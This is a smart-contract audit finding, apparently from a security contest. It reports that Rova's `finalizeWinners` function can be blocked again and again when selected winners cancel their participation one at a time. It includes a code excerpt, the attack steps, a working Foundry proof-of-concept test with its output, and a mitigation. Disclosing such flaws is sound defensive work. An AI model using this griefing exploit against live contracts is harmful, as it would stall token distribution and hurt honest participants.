Cheery Ultraviolet Armadillo

High

# Different winners can repeatedly DoS `finalizeWinners(...)` by cancelling participation after selection & before winner finalization

### Summary

Reversion of `finalizeWinners(...)` upon seeing a single invalid winner (instead of just skipping the invalid winner) enables a repeat DoS of winner finalization by malicious winners who cancel one-by-one before each finalization attempt

### Root Cause

Rova raffle-based token launches involve a backend component which selects winners who have submitted a participation request. These winners are then finalized by an operator who calls `finalizeWinners(...)` using the batch of winner participation IDs as input.

However, users can also cancel their participation (which sets their `tokenAmount` to 0) after being selected as a winner by the backend, but before the winners have been finalized on-chain. Compound this with the fact that `finalizeWinners` [reverts the entire finalization process](https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L543) if even one invalid winner is in the batch:

```solidity
for (uint256 i = 0; i < winnerLaunchParticipationIds.length; i++) {
   // Get participation info for the winning participation id
   ParticipationInfo storage info = launchGroupParticipations[winnerLaunchParticipationIds[i]];

   // If participation is finalized or has no token amount or no currency amount (cancelled), revert
   if (info.isFinalized || info.tokenAmount == 0 || info.currencyAmount == 0) {
       revert InvalidWinner(winnerLaunchParticipationIds[i], info.userId);
   }

   /*...*/
}
```
This enables an attack scenario where several malicious winners with small participation amounts grief the winner selection process one-by-one, cancelling one participation before every time `finalizeWinners(...)` is called.

### Internal Pre-conditions

N/A

### External Pre-conditions

N/A

### Attack Path

1. A token launch $L$ is held, and the winners $w_1...w_n$ are selected by the backend (say $n \ge 20000$ for a realistic scenario) 
2. winners $w_1...w_5$ invested little to participate, and now want to collaboratively block the winner finalization (say because others with much higher token allocations got selected, and $w_1...w_5$ have now incurred a large opportunity cost)
3. Unbeknownst to the operator, $w_1$ submits a successful cancellation before `finalizeWinners()` is called
4. `finalizeWinners()` reverts due to seeing $w_1$, who is now an invalid winner since their `tokenAmount` is 0 after cancellation
5. operator tracks down and deletes $w_1$ participation ID from the batch
6. now $w_2$ cancels their request successfully before `finalizeWinners()` is called with the new batch
7. so on...

### Impact

The protocol would suffer from repeated DoS of winner finalization, which could indefinitely delay winners being finalized and given the tokens depending on how many malicious winners there are. Additionally, depending on the number of winners it could be logistically costly or infeasible to track down the invalid winners and trim the winners list, leading one to redo the raffle and unfairly discard the benign former valid winners.

### PoC

```solidity
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.22;

import {Test, console} from "forge-std/Test.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {
    LaunchGroupSettings,
    LaunchGroupStatus,
    ParticipationRequest,
    CancelParticipationRequest,
    ParticipationInfo
} from "../src/Types.sol";

contract LaunchWinnerGriefingTest is Test, Launch, LaunchTestBase {
    LaunchGroupSettings public settings;
    
    // simulate 5 malicious participants and 15 honest ones
    uint256 constant NUM_MALICIOUS = 5;
    uint256 constant NUM_HONEST = 15;
    uint256 constant TOTAL_PARTICIPANTS = NUM_MALICIOUS + NUM_HONEST;
    
    bytes32[] public participationIds;
    address[] public users;
    ParticipationRequest[] public requests;

    function setUp() public {
        _setUpLaunch();
        settings = _setupLaunchGroup();

        participationIds = new bytes32[](TOTAL_PARTICIPANTS);
        users = new address[](TOTAL_PARTICIPANTS);

        // make different IDs and addresses for all participants
        for(uint256 i = 0; i < TOTAL_PARTICIPANTS; i++) {
            participationIds[i] = bytes32(uint256(i + 1));
            users[i] = address(uint160(i + 100)); // Distinct addresses starting at 100

            // Transfer payment currency to users so they can participate
            vm.startPrank(admin.addr);
            // console.log("admin balance: ", currency.balanceOf(admin.addr) / (10 **currency.decimals())); 
            currency.approve(users[i], type(uint256).max);
            currency.transfer(users[i], 2000 * 10 ** currency.decimals()); // Small amount for participation
            vm.stopPrank();
        }

        // users participate
        requests = _setupParticipations(participationIds, users);
        console.log("participation setup complete");
    }

    function test_WinnerFinalizationGriefing() public {
        bytes32[] memory currentBatch = participationIds;

        // try to finalize winners NUM_MALICIOUS times
        // suppose users[0]...users[NUM_MALICIOUS-1] are malicious
        for(uint256 i = 0; i < NUM_MALICIOUS; i++) {
            bytes32[] memory attempt = new bytes32[](currentBatch.length - i);
            for(uint256 j = 0; j < attempt.length; j++) {
                attempt[j] = currentBatch[j + i];
            }
            console.log("user %d is cancelling before finalization", i);

            vm.startPrank(users[i]);

            CancelParticipationRequest memory cancelRequest = CancelParticipationRequest({
                chainId: block.chainid,
                launchId: testLaunchId,
                launchGroupId: testLaunchGroupId,
                launchParticipationId: participationIds[i],
                userId: bytes32(uint256(i + 1)), // Matches setup in _setupParticipations
                    userAddress: users[i],
                requestExpiresAt: block.timestamp + 1 hours
            });

            // one of malicious users cancels before finalization
            bytes memory cancelSignature = _signRequest(abi.encode(cancelRequest));
            launch.cancelParticipation(cancelRequest, cancelSignature);
            vm.stopPrank();

            // Operator attempts to finalize current batch
            vm.startPrank(operator);
            // vm.expectRevert(InvalidWinner.selector);
            vm.expectRevert(
                abi.encodeWithSelector(
                    InvalidWinner.selector, 
                    participationIds[i],
                    bytes32(uint256(i + 1))
                )
            );
            launch.finalizeWinners(testLaunchGroupId, attempt);
            vm.stopPrank();

            // simulate operator removing the invalid winner
            // by increasing winner start index
        }
    }
}
```
This should give output like
```bash
[⠒] Compiling...
[⠘] Compiling 1 files with Solc 0.8.22
[⠃] Solc 0.8.22 finished in 13.63s
Compiler run successful!

Ran 6 tests for test/poc-finalize-winner.t.sol:LaunchWinnerGriefingTest
[PASS] testLaunchGroupId() (gas: 2418)
Logs:
  participation setup complete

[PASS] testLaunchId() (gas: 2814)
Logs:
  participation setup complete

[PASS] testLaunchParticipationId() (gas: 3496)
Logs:
  participation setup complete

[PASS] testUserId() (gas: 2726)
Logs:
  participation setup complete

[PASS] testWithdrawalAddress() (gas: 3806)
Logs:
  participation setup complete

[PASS] test_WinnerFinalizationGriefing() (gas: 463992)
Logs:
  participation setup complete
  user 0 is cancelling before finalization
  user 1 is cancelling before finalization
  user 2 is cancelling before finalization
  user 3 is cancelling before finalization
  user 4 is cancelling before finalization

Suite result: ok. 6 passed; 0 failed; 0 skipped; finished in 9.42ms (2.50ms CPU time)

Ran 1 test suite in 12.27ms (9.42ms CPU time): 6 tests passed, 0 failed, 0 skipped (6 total tests)
```

### Mitigation

Skip over invalid winners instead of reverting the entire winner finalization. If skipping invalid winners puts the total allocation under the max token amount, and full allocation is desired, the backend / admins can select an additional batch of winners until this requirement is met. Selecting an additional batch of winners is more fair than redoing the entire winner selection since it does not discard the original valid winners.